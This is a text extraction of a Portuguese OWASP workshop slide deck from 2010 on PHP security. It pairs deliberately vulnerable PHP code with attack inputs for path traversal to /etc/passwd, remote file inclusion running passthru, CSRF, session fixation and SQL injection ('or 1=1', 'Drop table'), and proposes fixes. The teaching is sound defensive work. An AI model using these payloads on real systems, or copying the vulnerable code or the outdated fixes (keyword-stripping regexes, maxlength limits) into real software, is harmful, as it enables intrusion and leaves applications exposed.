1. 1
OWASP @ ISCTE-IUL
Workshop de Segurança Aplicacional
Segurança em PHP
Joaquim Marques - EST
Abril 2010
2. Aplicações Web - problemas
No Início
- Protocolo HTTP /browsers desenhados para permuta de documentos,
- Utilização de tecnologias pouco interoperáveis na concepção de aplicações web,
- Segurança das aplicações deixada para segundo plano.
OWASP @ ISCTE-IUL
Abril 2010
3. Aplicações Web - problemas
No Início
- Protocolo HTTP /browsers desenhados para permuta de documentos,
- Utilização de tecnologias pouco interoperáveis na concepção de aplicações web,
- Segurança das aplicações deixada para segundo plano.
Actualidade
- Quase todas as aplicações Web tem problemas de segurança (diferentes umas das outras)
- Dificuldade em criar aplicações razoavelmente seguras
-Segurança é dispendiosa (análise de risco)
- Segurança dificulta a usabilidade
OWASP @ ISCTE-IUL
Abril 2010
4. Aplicações Web - problemas
No Início
- Protocolo HTTP /browsers desenhados para permuta de documentos,
- Utilização de tecnologias pouco interoperáveis na concepção de aplicações web,
- Segurança das aplicações deixada para segundo plano.
Actualidade
- Quase todas as aplicações Web tem problemas de segurança (diferentes umas das outras)
- Dificuldade em criar aplicações razoavelmente seguras
-Segurança é dispendiosa (análise de risco)
- Segurança dificulta a usabilidade
OWASP @ ISCTE-IUL
Abril 2010
5. 3
http://i.cmpnet.com/v2.gocsi.com/pdf/CSISurvey2007.pdf
2005 CSI/FBI Annual Computer Crime and Security Survey
Abril 2010
6. 4
CAPÍTULO II
Dos crimes ligados à informática
Artigo 3º - Falsidade informática
Pena de prisão
Artigo 4º - Dano relativo a programas ou outros dados Informáticos
Artigo 5º - Sabotagem informática
Artigo 6º - Acesso ilegítimo
Artigo 7º - Intercepção ilegítima
Abril 2010
7. 5
Questões de segurança actuais - vulnerabilidades
Ataques de “hackers”
- negação de serviço,
- assalto a servidores,
Ameaças vulgares (vírus, spyware, pishing,…)
Comprometimento de dados
Abril 2010
8. 5
Questões de segurança actuais - vulnerabilidades
Ataques de “hackers”
- negação de serviço,
- assalto a servidores,
Ameaças vulgares (vírus, spyware, pishing,…)
Comprometimento de dados
Ameaças – O que fazer
< Monitorização: saber o que aconteceu.
< Deteccão: saber quando fui atacado.
< Prevenção parar os ataques antes de terem sucesso.
< Avaliação: descobrir os problemas primeiro que os atacantes
Abril 2010
9. 6
Firewall de rede
OWASP @ ISCTE-IUL
Abril 2010
10. 6
Firewall de rede
Exploração de
vulnerabilidades
através:
- Web servers
- Database servers
- Web Application Servers
OWASP @ ISCTE-IUL
Abril 2010
14. 8
- TOP 10 vulnerabilidades de aplicações Web 2010
Abril 2010
15. 9
PHP – tipos de vulnerabilidades mais explorados
PHP Remote File Include:
Por defeito o PHP permite que as funções que lidam com ficheiros acedam a recursos através da
funcionalidade/extensão "allow_url_fopen". Ao permitir que os scripts permitam que o input de utilizadores
influenciem os nomes de ficheiros então a inclusão remota de ficheiros pode resultar. Este ataque permite:
Execução de código remoto
Instalação de rootkits
Compromisso do sistema
SQL Injection:
As injecções são possíveis pelo fornecimento de dados falsamente interpretados pelas queries SQL. As
injecções SQL permitem ao atacante:
Criar, ler, alterar, e apagar os dados disponíveis para a aplicação comprometendo a base de dados e o
próprio sistema.
Cross-Site Scripting (XSS): Permite ao atacante desfigurar um website, inserir conteúdo hostil, conduzir
ataques de pishing, assaltar o browser usando javascript e até forçar o utilizador a usar comandos
inapropriados sem o saber (XSRF).
Cross-Site Request Forgeries (CSR/XSRF): Força os utilizadores legítimos a executar comandos sem o seu
consentimento, sendo extremamente difícil de prevenir ( a sua sofisticação tem vindo a aumentar pela
utilização de técnicas AJAX e até de worms automatizados - Samy MySpace Worm.
http://www.sans.org/top20/#s1
Abril 2010
16. 10
PHP – cuidados básicos
- verificar configuração do servidor Web/PHP
- validar Input do utilizador
Solução
Auditoria(s)
- ao servidor e aplicações
Hábitos de programação segura
Testes ao código
Abril 2010
17. 10
PHP – cuidados básicos
- verificar configuração do servidor Web/PHP
- validar Input do utilizador
Solução
Auditoria(s)
- ao servidor e aplicações
Hábitos de programação segura
Testes ao código
Abril 2010
18. 10
PHP – cuidados básicos
- verificar configuração do servidor Web/PHP
- validar Input do utilizador
Solução
Auditoria(s)
- ao servidor e aplicações
Hábitos de programação segura
Testes ao código
Abril 2010
19. 11
Ferramentas
PhpSecInfo PHP SecAudit –Dan Lefree
Alteração directivas
php.ini (se for administrador)
.htaccess php_flag directive value
ini_set()
Abril 2010
20. 12
Regra básica
Nunca confiar no “Input” dos utilizadores
Origem input
-Campos de formulário
-Dados $_GET, $_POST, $_REQUEST
-Cookies ($_COOKIES)
-Dados de Web services
-Ficheiros
-Variáveis de servidor
(ex:. $_SERVER['SERVER_NAME'])
-Variáveis de ambiente
-Resultados de querys a BD’s
Abril 2010
21. 12
Regra básica
Nunca confiar no “Input” dos utilizadores
Origem input
-Campos de formulário
-Dados $_GET, $_POST, $_REQUEST
-Cookies ($_COOKIES)
-Dados de Web services
-Ficheiros
-Variáveis de servidor
(ex:. $_SERVER['SERVER_NAME'])
-Variáveis de ambiente
-Resultados de querys a BD’s
Abril 2010
22. 12
Regra básica
Nunca confiar no “Input” dos utilizadores
Filtragem e validação de dados em PHP
Ferramentas e funções tradicionais
Ferramentas standard (extensão filter-> PHP 5.2)
funções que testam, validam e filtram o input dos utilizadores
Abril 2010
23. 12
Regra básica
Nunca confiar no “Input” dos utilizadores
Filtragem e validação de dados em PHP
Ferramentas e funções tradicionais
Ferramentas standard (extensão filter-> PHP 5.2)
funções que testam, validam e filtram o input dos utilizadores
FILTER_SANITIZE_STRING "string"
FILTER_VALIDATE_INT "int"
FILTER_SANITIZE_STRIPPED "stripped"
FILTER_VALIDATE_BOOLEAN "boolean"
FILTER_SANITIZE_ENCODED "encoded"
FILTER_VALIDATE_FLOAT "float"
FILTER_SANITIZE_SPECIAL_CHARS "special_chars"
FILTER_VALIDATE_REGEXP "validate_regexp"
FILTER_SANITIZE_EMAIL "email"
FILTER_VALIDATE_URL "validate_url"
FILTER_SANITIZE_URL "url"
FILTER_VALIDATE_EMAIL "validate_email"
FILTER_SANITIZE_NUMBER_INT "number_int"
FILTER_VALIDATE_IP "validate_ip"
FILTER_SANITIZE_NUMBER_FLOAT "number_float"
FILTER_SANITIZE_MAGIC_QUOTES "magic_quotes"
FILTER_CALLBACK "callback"
Abril 2010
24. 12
Regra básica
Nunca confiar no “Input” dos utilizadores
Filtragem e validação de dados em PHP
Ferramentas e funções tradicionais
Ferramentas standard (extensão filter-> PHP 5.2)
funções que testam, validam e filtram o input dos utilizadores
FILTER_SANITIZE_STRING "string"
FILTER_VALIDATE_INT "int"
FILTER_SANITIZE_STRIPPED "stripped"
FILTER_VALIDATE_BOOLEAN "boolean"
FILTER_SANITIZE_ENCODED "encoded"
FILTER_VALIDATE_FLOAT "float"
FILTER_SANITIZE_SPECIAL_CHARS "special_chars"
FILTER_VALIDATE_REGEXP "validate_regexp"
FILTER_SANITIZE_EMAIL "email"
FILTER_VALIDATE_URL "validate_url"
FILTER_SANITIZE_URL "url"
FILTER_VALIDATE_EMAIL "validate_email"
FILTER_SANITIZE_NUMBER_INT "number_int"
FILTER_VALIDATE_IP "validate_ip"
FILTER_SANITIZE_NUMBER_FLOAT "number_float"
FILTER_SANITIZE_MAGIC_QUOTES "magic_quotes"
FILTER_CALLBACK "callback"
Funções de filtragem
filter_var ( $variable [, $filter [,$options ]] )
filter_input ( $type , $variable_name [, $filter [, $options ]] )
….
Abril 2010
25. 13
Owasp ESAPI(enterprise security API) for PHP
http://code.google.com/p/owasp-esapi-php/
PHP – níveis múltiplos de filtragem de dados
Abril 2010
26. 13
Owasp ESAPI(enterprise security API) for PHP
http://code.google.com/p/owasp-esapi-php/
PHP – níveis múltiplos de filtragem de dados
Abril 2010
27. 13
Owasp ESAPI(enterprise security API) for PHP
http://code.google.com/p/owasp-esapi-php/
PHP – níveis múltiplos de filtragem de dados
Abril 2010
28. 14
Precauções básicas em PHP
• restrição no acesso a phpinfo(),
-> disable_functions =phpinfo
• utilize ligações seguras SSL
• utilize ficheiros e directórios ocultos/privados
• “cuidados” com a configuração do PHP
• listagem/reporting de erros
• register_globals
• safe_mode
• “cuidados” com os privilégios na administração das BD´s
• “cuidados” com os ficheiros de instalação/config das aplicações
Abril 2010
29. 14
Precauções básicas em PHP
• restrição no acesso a phpinfo(),
<?php
-> disable_functions =phpinfo
echo "---";
• utilize ligações seguras SSL //ini_set(disable_functions =phpinfo);
• utilize ficheiros e directórios ocultos/privados //ini_set(register_globals = Off); sem qq efeito
• “cuidados” com a configuração do PHP //ini_set(safe_mode = Off); sem qq efeito
• listagem/reporting de erros ini_set('display_errors', 'Off');
ini_set('log_errors', 'On');
• register_globals ini_set('error_log', '../logs/error_log');
• safe_mode ini_set('error_reporting', E_ALL | E_STRICT);
• “cuidados” com os privilégios na administração das BD´s phpinfo();
• “cuidados” com os ficheiros de instalação/config das aplicações ?>
Abril 2010
30. 14
Precauções básicas em PHP
• restrição no acesso a phpinfo(),
<?php
-> disable_functions =phpinfo
echo "---";
• utilize ligações seguras SSL //ini_set(disable_functions =phpinfo);
• utilize ficheiros e directórios ocultos/privados //ini_set(register_globals = Off); sem qq efeito
• “cuidados” com a configuração do PHP //ini_set(safe_mode = Off); sem qq efeito
• listagem/reporting de erros ini_set('display_errors', 'Off');
ini_set('log_errors', 'On');
• register_globals ini_set('error_log', '../logs/error_log');
• safe_mode ini_set('error_reporting', E_ALL | E_STRICT);
• “cuidados” com os privilégios na administração das BD´s phpinfo();
• “cuidados” com os ficheiros de instalação/config das aplicações ?>
<?
//ini_set('register_globals', 'Off'); sem qq efeito
//$auth=0;
if ($password == "chave") {
$auth = 1;
}
if ($auth == 1) {
echo "acesso permitido";
} else {
echo "acesso recusado";
} Abril 2010
?>
31. 15
a)- Spoofing do endereço de e-mail
To: $recipient
Subject: $subject
mail($recipient,$subject,$message,$headers) $headers
$message
<html>
<body> <form method='POST'
<?php action='php_email_injectiona.php'>
//php_email_injectiona Para: @example.com <br />
ini_set("SMTP","mail.est.ipcb.pt"); De: <input name='email' type='text' /> <br />
ini_set("sendmail_from",“marques@est.ipcb.pt"); Assunto: <input name='assunto' type='text' /><br />
Message:<br />
if (isset($_POST['email'])){ <textarea name='mensagem' rows='10' cols='40'>
$email = $_POST['email'] ; </textarea><br />
$assunto = $_POST['assunto'] ; <input type='submit' name='enviar' value='enviar'/>
$mensagem = $_POST['mensagem'] ; </form>
<?php
if (mail("marques@est.ipcb.pt",$assunto,$mensagem, "From: $email" )){; }
echo "Obrigado por enviar o email"; ?>
} </body></html>
}else{
?>
Abril 2010
32. 15
a)- Spoofing do endereço de e-mail
To: $recipient
Subject: $subject
mail($recipient,$subject,$message,$headers) $headers
$message
Abril 2010
33. 15
a)- Spoofing do endereço de e-mail
To: $recipient
Subject: $subject
mail($recipient,$subject,$message,$headers) $headers
$message
function spamcheck($field){
if(eregi("to:",$field) || eregi
("cc:",$field)) {
return TRUE;
Php_email_injection_a.php } else {
return FALSE;
}
} Abril 2010
34. 16
b) Inclusão de ficheiros (Directory Travessal/Remote Inclusion)
Ocorre quando um atacante especifica um nome de ficheiro com caracteres específicos ao sistema de ficheiros (. e ..)
<?php
//php_include.php
echo "PHP_Include()";
include($_GET['fich']);
?>
D.
T.
Abril 2010
35. 16
b) Inclusão de ficheiros (Directory Travessal/Remote Inclusion)
Ocorre quando um atacante especifica um nome de ficheiro com caracteres específicos ao sistema de ficheiros (. e ..)
<?php http://localhost/php_include.php?fich=teste.txt
//php_include.php
echo "PHP_Include()";
include($_GET['fich']);
?>
D.
T.
Abril 2010
36. 16
b) Inclusão de ficheiros (Directory Travessal/Remote Inclusion)
Ocorre quando um atacante especifica um nome de ficheiro com caracteres específicos ao sistema de ficheiros (. e ..)
<?php http://localhost/php_include.php?fich=teste.txt
//php_include.php http://localhost/security/php_include.php?fich=c:/boot.ini
echo "PHP_Include()";
include($_GET['fich']);
?>
D.
T.
Abril 2010
37. 16
b) Inclusão de ficheiros (Directory Travessal/Remote Inclusion)
Ocorre quando um atacante especifica um nome de ficheiro com caracteres específicos ao sistema de ficheiros (. e ..)
<?php http://localhost/php_include.php?fich=teste.txt
//php_include.php http://localhost/security/php_include.php?fich=c:/boot.ini
echo "PHP_Include()";
include($_GET['fich']); http://localhost/php_include.php?fich=/etc/passwd
?>
D.
T.
Abril 2010
38. 16
b) Inclusão de ficheiros (Directory Travessal/Remote Inclusion)
Ocorre quando um atacante especifica um nome de ficheiro com caracteres específicos ao sistema de ficheiros (. e ..)
<?php http://localhost/php_include.php?fich=teste.txt
//php_include.php http://localhost/security/php_include.php?fich=c:/boot.ini
echo "PHP_Include()";
include($_GET['fich']); http://localhost/php_include.php?fich=/etc/passwd
?>
D.
T.
Abril 2010
39. 16
b) Inclusão de ficheiros (Directory Travessal/Remote Inclusion)
Ocorre quando um atacante especifica um nome de ficheiro com caracteres específicos ao sistema de ficheiros (. e ..)
<?php http://localhost/php_include.php?fich=teste.txt
//php_include.php http://localhost/security/php_include.php?fich=c:/boot.ini
echo "PHP_Include()";
include($_GET['fich']); http://localhost/php_include.php?fich=/etc/passwd
?> http://localhost/php_include.php?fich=../../../etc/passwd
D.
T.
Abril 2010
40. 16
b) Inclusão de ficheiros (Directory Travessal/Remote Inclusion)
Ocorre quando um atacante especifica um nome de ficheiro com caracteres específicos ao sistema de ficheiros (. e ..)
<?php http://localhost/php_include.php?fich=teste.txt
//php_include.php http://localhost/security/php_include.php?fich=c:/boot.ini
echo "PHP_Include()";
include($_GET['fich']); http://localhost/php_include.php?fich=/etc/passwd
?> http://localhost/php_include.php?fich=../../../etc/passwd
D.
T. Solução:
<?php
//php_include_sec.php
echo"PHP_Include() -exemplo ataque <br>";
include(basename(realpath($_GET['fich'])));
?>
Abril 2010
41. 16
b) Inclusão de ficheiros (Directory Travessal/Remote Inclusion)
Ocorre quando um atacante especifica um nome de ficheiro com caracteres específicos ao sistema de ficheiros (. e ..)
<?php http://localhost/php_include.php?fich=teste.txt
//php_include.php http://localhost/security/php_include.php?fich=c:/boot.ini
echo "PHP_Include()";
include($_GET['fich']); http://localhost/php_include.php?fich=/etc/passwd
?> http://localhost/php_include.php?fich=../../../etc/passwd
D.
T. Solução alternativa
Solução:
<?php
//php_include_sec.php
echo"PHP_Include() -exemplo ataque <br>";
include(basename(realpath($_GET['fich'])));
?>
Abril 2010
42. 16
b) Inclusão de ficheiros (Directory Travessal/Remote Inclusion)
Ocorre quando um atacante especifica um nome de ficheiro com caracteres específicos ao sistema de ficheiros (. e ..)
<?php http://localhost/php_include.php?fich=teste.txt
//php_include.php http://localhost/security/php_include.php?fich=c:/boot.ini
echo "PHP_Include()";
include($_GET['fich']); http://localhost/php_include.php?fich=/etc/passwd
?> http://localhost/php_include.php?fich=../../../etc/passwd
D.
T. Solução alternativa
Solução:
<?php Safemode=on
//php_include_sec.php Open_basedir=/path
echo"PHP_Include() -exemplo ataque <br>";
include(basename(realpath($_GET['fich'])));
?>
R.
I.
Abril 2010
43. 16
b) Inclusão de ficheiros (Directory Travessal/Remote Inclusion)
Ocorre quando um atacante especifica um nome de ficheiro com caracteres específicos ao sistema de ficheiros (. e ..)
<?php http://localhost/php_include.php?fich=teste.txt
//php_include.php http://localhost/security/php_include.php?fich=c:/boot.ini
echo "PHP_Include()";
include($_GET['fich']); http://localhost/php_include.php?fich=/etc/passwd
?> http://localhost/php_include.php?fich=../../../etc/passwd
D.
T. Solução alternativa
Solução:
<?php Safemode=on
//php_include_sec.php Open_basedir=/path
echo"PHP_Include() -exemplo ataque <br>";
include(basename(realpath($_GET['fich'])));
?>
ocorre quando um atacante é capaz de fazer sua aplicação executar código PHP da sua escolha
<?php
//php_include1.php –colocar no site atacante
R. print "<pre>";
I. passthru("dir");
print "</pre>";
?>
Abril 2010
44. 16
b) Inclusão de ficheiros (Directory Travessal/Remote Inclusion)
Ocorre quando um atacante especifica um nome de ficheiro com caracteres específicos ao sistema de ficheiros (. e ..)
<?php http://localhost/php_include.php?fich=teste.txt
//php_include.php http://localhost/security/php_include.php?fich=c:/boot.ini
echo "PHP_Include()";
include($_GET['fich']); http://localhost/php_include.php?fich=/etc/passwd
?> http://localhost/php_include.php?fich=../../../etc/passwd
D.
T. Solução alternativa
Solução:
<?php Safemode=on
//php_include_sec.php Open_basedir=/path
echo"PHP_Include() -exemplo ataque <br>";
include(basename(realpath($_GET['fich'])));
?>
ocorre quando um atacante é capaz de fazer sua aplicação executar código PHP da sua escolha
<?php
//php_include1.php –colocar no site atacante
R. print "<pre>";
I. passthru("dir");
print "</pre>"; http://localhost/security/php_include.php?fich=http://
?> www.est.ipcb.pt/pessoais/marques/php_include1.phpsec
Abril 2010
45. 16
b) Inclusão de ficheiros (Directory Travessal/Remote Inclusion)
Ocorre quando um atacante especifica um nome de ficheiro com caracteres específicos ao sistema de ficheiros (. e ..)
<?php http://localhost/php_include.php?fich=teste.txt
//php_include.php http://localhost/security/php_include.php?fich=c:/boot.ini
echo "PHP_Include()";
include($_GET['fich']); http://localhost/php_include.php?fich=/etc/passwd
?> http://localhost/php_include.php?fich=../../../etc/passwd
D.
T. Solução alternativa
Solução:
<?php Safemode=on
//php_include_sec.php Open_basedir=/path
echo"PHP_Include() -exemplo ataque <br>";
include(basename(realpath($_GET['fich'])));
?>
ocorre quando um atacante é capaz de fazer sua aplicação executar código PHP da sua escolha
<?php
//php_include1.php –colocar no site atacante
R. print "<pre>";
I. passthru("dir");
print "</pre>"; http://localhost/security/php_include.php?fich=http://
?> www.est.ipcb.pt/pessoais/marques/php_include1.phpsec
Safe_mode=off
Funciona com Allow_url_include=on
Allow_url_fopen=on Abril 2010
46. 17
c)- Upload de ficheiros
<?php
//fich_upload1a.php
if (isset($_POST['Enviar'])) {
//if ($_FILES['fich']['type'] == "image/gif" && $_FILES['fich']['size']<150000) {
copy ($_FILES['fich']['tmp_name'], "upload/".$_FILES['fich']['name']) or die ("<BR>
Upload sem efeito");
echo "o seguinte ficheiro foi transferido correctamente <br>";
echo "Name: ".$_FILES['fich']['name']."<br>";
//print_r($_FILES);
//} else {
// echo "<br><br>";
// echo "Falha de Upload, tipo de ficheiro errado )".$_FILES['fich']['name'].")
<br>";
//}
}else{
?>
<form name="form" method="post" action="" enctype="multipart/form-data">
Ficheiro:<input type="file" name="fich"> <br>
<input type="submit" name="Enviar" value="Enviar">
</form>
<?php
}
?>
Abril 2010
47. 17
c)- Upload de ficheiros
<?php
//fich_upload1a.php
if (isset($_POST['Enviar'])) {
//if ($_FILES['fich']['type'] == "image/gif" && $_FILES['fich']['size']<150000) {
copy ($_FILES['fich']['tmp_name'], "upload/".$_FILES['fich']['name']) or die ("<BR>
Upload sem efeito");
echo "o seguinte ficheiro foi transferido correctamente <br>";
echo "Name: ".$_FILES['fich']['name']."<br>";
//print_r($_FILES);
//} else {
// echo "<br><br>";
// echo "Falha de Upload, tipo de ficheiro errado )".$_FILES['fich']['name'].")
<br>";
//}
}else{
?>
<form name="form" method="post" action="" enctype="multipart/form-data">
Ficheiro:<input type="file" name="fich"> <br>
<input type="submit" name="Enviar" value="Enviar">
</form>
<?php
}
?>
Abril 2010
48. 17
c)- Upload de ficheiros
<?php
//fich_upload1a.php
if (isset($_POST['Enviar'])) {
//if ($_FILES['fich']['type'] == "image/gif" && $_FILES['fich']['size']<150000) {
copy ($_FILES['fich']['tmp_name'], "upload/".$_FILES['fich']['name']) or die ("<BR>
Upload sem efeito");
echo "o seguinte ficheiro foi transferido correctamente <br>";
echo "Name: ".$_FILES['fich']['name']."<br>";
//print_r($_FILES);
//} else {
// echo "<br><br>";
// echo "Falha de Upload, tipo de ficheiro errado )".$_FILES['fich']['name'].")
<br>";
//}
}else{
?>
<form name="form" method="post" action="" enctype="multipart/form-data">
Ficheiro:<input type="file" name="fich"> <br>
<input type="submit" name="Enviar" value="Enviar">
</form>
<?php
}
?>
Abril 2010
49. 18
c)- Upload de ficheiros
<?php
//fich_upload1.php
if (isset($_POST['Enviar'])) {
//if ($_FILES['fich']['type'] == "image/gif" && $_FILES['fich']['size']<150000) {
if (is_uploaded_file($_FILES['fich']['tmp_name']) && $_FILES['fich']['type'] == "image/gif" &&
$_FILES['fich']['size']<150000) {
move_uploaded_file($_FILES['fich']['tmp_name'], "upload/".$_FILES['fich']['name']) or die ("<BR>
Upload sem efeito");
echo "o seguinte ficheiro foi transferido correctamente <br>";
echo "Name: ".$_FILES['fich']['name']."<br>";
print_r($_FILES);
} else {
echo "<br><br>";
echo "Falha de Upload, tipo de ficheiro errado (".$_FILES['fich']['name'].")<br>";
}
}else{
?>
<form name="form" method="POST" action="" enctype="multipart/form-data">
Ficheiro:<input type="file" name="fich"> <br>
<input type="submit" name="Enviar" value="Enviar">
</form>
<?php
}
?>
Abril 2010
50. 19
d:) Fixação de sessões
<?php 1 - Eliminar cookies (ver session.save_path)
//php_session1.php - http://host/php_session1.php?PHPSESSID=123456789
session_start();
2- a partir de outro computador
$_SESSION['utilizador']='marques'; - http://host/php_session1.php?PHPSESSID=123456789
$_SESSION['password']='aeiou';
?>
Abril 2010
51. 19
d:) Fixação de sessões
<?php 1 - Eliminar cookies (ver session.save_path)
//php_session1.php - http://host/php_session1.php?PHPSESSID=123456789
session_start();
2- a partir de outro computador
$_SESSION['utilizador']='marques'; - http://host/php_session1.php?PHPSESSID=123456789
$_SESSION['password']='aeiou';
?>
solução --session_regenerate_id()
Abril 2010
52. 19
d:) Fixação de sessões
<?php 1 - Eliminar cookies (ver session.save_path)
//php_session1.php - http://host/php_session1.php?PHPSESSID=123456789
session_start();
2- a partir de outro computador
$_SESSION['utilizador']='marques'; - http://host/php_session1.php?PHPSESSID=123456789
$_SESSION['password']='aeiou';
?>
solução --session_regenerate_id()
………..
if(!isset($_SESSION['SERVER_GENERATED_SID'])) {
//destruir todos as sessões
session_destroy();
} --Verificar se as sessões foram criadas pelo servidor web
// gera um novo identificador de sessão
session_regenerate_id( );
$_SESSION['SERVER_GENERATED_SID']=true;
……..
Abril 2010
53. 20
e) Sequestro de sessões (session Hijacking)
Verificação extra
(mudança de browser no
utilizador)
Solução – utilização de tokens Abril 2010
54. 20
e) Sequestro de sessões (session Hijacking)
compara o valor do HTTP_USER_AGENT do
browser com o do servidor Web
<?php
session_start();
if (isset($_SESSION['HTTP_USER_AGENT']))
{
if ($_SESSION['HTTP_USER_AGENT'] !=
Verificação extra md5($_SERVER['HTTP_USER_AGENT']))
(mudança de browser no
{
utilizador) /*PEDIDO de PASSWORD/
exit;
}
}
else
{
$_SESSION['HTTP_USER_AGENT'] =
md5($_SERVER['HTTP_USER_AGENT']);
}
?>
Solução – utilização de tokens Abril 2010
66. 23
h ) - CSRF (XSRF) – Cross Site Request Forgery
ataque que tenta fazer com que uma vítima envie sem saber requisições HTTP
php_csrf.htm php_CSRF.php
Abril 2010
67. 23
h ) - CSRF (XSRF) – Cross Site Request Forgery
ataque que tenta fazer com que uma vítima envie sem saber requisições HTTP
php_csrf.htm php_CSRF.php
Abril 2010
68. 23
h ) - CSRF (XSRF) – Cross Site Request Forgery
ataque que tenta fazer com que uma vítima envie sem saber requisições HTTP
php_csrf.htm php_CSRF.php
Atacante
Abril 2010
69. 23
h ) - CSRF (XSRF) – Cross Site Request Forgery
ataque que tenta fazer com que uma vítima envie sem saber requisições HTTP
php_csrf.htm php_CSRF.php
http://localhost/security/php_CSRF.php?Livro=lusiadas crackados&Quantidade=23
Atacante
Abril 2010
70. 23
h ) - CSRF (XSRF) – Cross Site Request Forgery
ataque que tenta fazer com que uma vítima envie sem saber requisições HTTP
php_csrf.htm php_CSRF.php
http://localhost/security/php_CSRF.php?Livro=lusiadas crackados&Quantidade=23
Atacante
Abril 2010
71. 23
h ) - CSRF (XSRF) – Cross Site Request Forgery
ataque que tenta fazer com que uma vítima envie sem saber requisições HTTP
php_csrf.htm php_CSRF.php
http://localhost/security/php_CSRF.php?Livro=lusiadas crackados&Quantidade=23
Atacante
Abril 2010
72. 24
h ) - CSRF (XSRF) – Cross Site Request Forgery
Atacante – desenvolve o script e coloca-o num servidor
//csrf_ataque.html
<html>
<head>
<title>CSRF ATAQUE</title>
</head>
<body>
<a href="http://www.vitima.pt/security/php_CSRF.php?Livro =lusiadas
%20crackados&Quantidade=23"><img
style="border: 0px solid ; width: 115px; height: 61px;"
alt="XSRF" src="php-med-trans.png"></a>
</body>
</html>
Abril 2010
73. 24
h ) - CSRF (XSRF) – Cross Site Request Forgery
Atacante – desenvolve o script e coloca-o num servidor
//csrf_ataque.html
<html>
<head>
<title>CSRF ATAQUE</title>
</head>
<body>
<a href="http://www.vitima.pt/security/php_CSRF.php?Livro =lusiadas
%20crackados&Quantidade=23"><img
style="border: 0px solid ; width: 115px; height: 61px;"
alt="XSRF" src="php-med-trans.png"></a>
</body>
</html>
Abril 2010
74. 24
h ) - CSRF (XSRF) – Cross Site Request Forgery
Atacante – desenvolve o script e coloca-o num servidor
//csrf_ataque.html
<html>
<head>
<title>CSRF ATAQUE</title>
</head>
<body>
<a href="http://www.vitima.pt/security/php_CSRF.php?Livro =lusiadas
%20crackados&Quantidade=23"><img
style="border: 0px solid ; width: 115px; height: 61px;"
alt="XSRF" src="php-med-trans.png"></a>
</body>
</html>
Solução
-Colocar tokens que se propaguem na aplicação
Abril 2010
75. 25
i) SQL injection
“SELECT * FROM identific WHERE nome LIKE ‘ ".$_REQUEST['nome']. “‘”
php_sqlinjection_sel.php
“SELECT * FROM identific WHERE nome LIKE ‘ “. Maria . “‘”
php_sqli_sel_sq2.php
Abril 2010
76. 25
i) SQL injection
“SELECT * FROM identific WHERE nome LIKE ‘ ".$_REQUEST['nome']. “‘”
php_sqlinjection_sel.php
“SELECT * FROM identific WHERE nome LIKE ‘ “. Maria . “‘”
php_sqli_sel_sq2.php
1’ or ‘1’=‘1
%
' or 1=1 –
......
Abril 2010
77. 25
i) SQL injection
“SELECT * FROM identific WHERE nome LIKE ‘ ".$_REQUEST['nome']. “‘”
php_sqlinjection_sel.php
“SELECT * FROM identific WHERE nome LIKE ‘ “. Maria . “‘”
php_sqli_sel_sq2.php
1’ or ‘1’=‘1
%
' or 1=1 –
......
“SELECT * FROM identific WHERE nome LIKE ‘ “. 1’ or ‘1’=‘1. “‘”
Abril 2010
78. 25
i) SQL injection
“SELECT * FROM identific WHERE nome LIKE ‘ ".$_REQUEST['nome']. “‘”
php_sqlinjection_sel.php
“SELECT * FROM identific WHERE nome LIKE ‘ “. Maria . “‘”
php_sqli_sel_sq2.php
1’ or ‘1’=‘1
%
' or 1=1 –
......
“SELECT * FROM identific WHERE nome LIKE ‘ “. 1’ or ‘1’=‘1. “‘”
Activar selecção nome +password em
php_sqlinjection_sel.php
Aplicar em nome
‘ or 1=1 –
xxx; Drop table -- !!!
Abril 2010
79. 25
i) SQL injection
“SELECT * FROM identific WHERE nome LIKE ‘ ".$_REQUEST['nome']. “‘”
php_sqlinjection_sel.php
“SELECT * FROM identific WHERE nome LIKE ‘ “. Maria . “‘”
php_sqli_sel_sq2.php
1’ or ‘1’=‘1
%
' or 1=1 –
......
SQL_Inject_me
“SELECT * FROM identific WHERE nome LIKE ‘ “. 1’ or ‘1’=‘1. “‘”
Activar selecção nome +password em
php_sqlinjection_sel.php
Aplicar em nome
‘ or 1=1 –
xxx; Drop table -- !!!
Abril 2010
80. 26
i) SQL injection - Solução
Limitar comprimento dos campos no formulário:
Abril 2010
81. 26
i) SQL injection - Solução
Nome<br/><input type="text" name="nome" maxlength="15"/><br/>
Limitar comprimento dos campos no formulário: Password<br/><input type="password" name="password" maxlength="10"/><br/>
Abril 2010
82. 26
i) SQL injection - Solução
Nome<br/><input type="text" name="nome" maxlength="15"/><br/>
Limitar comprimento dos campos no formulário: Password<br/><input type="password" name="password" maxlength="10"/><br/>
Validação do tipo de input: is_int()
gettype() if (strpos($variável, ‘;’)) exit ($variável contém caracteres inválidos);
intval() if (strpos($variável, ‘’’)) exit ($variável contém caracteres inválidos);
settype()
if (preg_match (‘^;([a-z0-9])$/i', $variável){ … };
strlen()
strtotime()
….
Abril 2010
83. 26
i) SQL injection - Solução
Nome<br/><input type="text" name="nome" maxlength="15"/><br/>
Limitar comprimento dos campos no formulário: Password<br/><input type="password" name="password" maxlength="10"/><br/>
Validação do tipo de input: is_int()
gettype() if (strpos($variável, ‘;’)) exit ($variável contém caracteres inválidos);
intval() if (strpos($variável, ‘’’)) exit ($variável contém caracteres inválidos);
settype()
if (preg_match (‘^;([a-z0-9])$/i', $variável){ … };
strlen()
strtotime()
….
Limitar a utilização de caracteres/expressões SQL
Abril 2010
84. 26
i) SQL injection - Solução
Nome<br/><input type="text" name="nome" maxlength="15"/><br/>
Limitar comprimento dos campos no formulário: Password<br/><input type="password" name="password" maxlength="10"/><br/>
Validação do tipo de input: is_int()
gettype() if (strpos($variável, ‘;’)) exit ($variável contém caracteres inválidos);
intval() if (strpos($variável, ‘’’)) exit ($variável contém caracteres inválidos);
settype()
if (preg_match (‘^;([a-z0-9])$/i', $variável){ … };
strlen()
strtotime()
….
Limitar a utilização de caracteres/expressões SQL
$sql = preg_replace(sql_regcase("/(from|select|insert|delete|where|drop table|show tables|#|*|--|)/"),"",$sql);
Abril 2010
85. 26
i) SQL injection - Solução
Nome<br/><input type="text" name="nome" maxlength="15"/><br/>
Limitar comprimento dos campos no formulário: Password<br/><input type="password" name="password" maxlength="10"/><br/>
Validação do tipo de input: is_int()
gettype() if (strpos($variável, ‘;’)) exit ($variável contém caracteres inválidos);
intval() if (strpos($variável, ‘’’)) exit ($variável contém caracteres inválidos);
settype()
if (preg_match (‘^;([a-z0-9])$/i', $variável){ … };
strlen()
strtotime()
….
Limitar a utilização de caracteres/expressões SQL
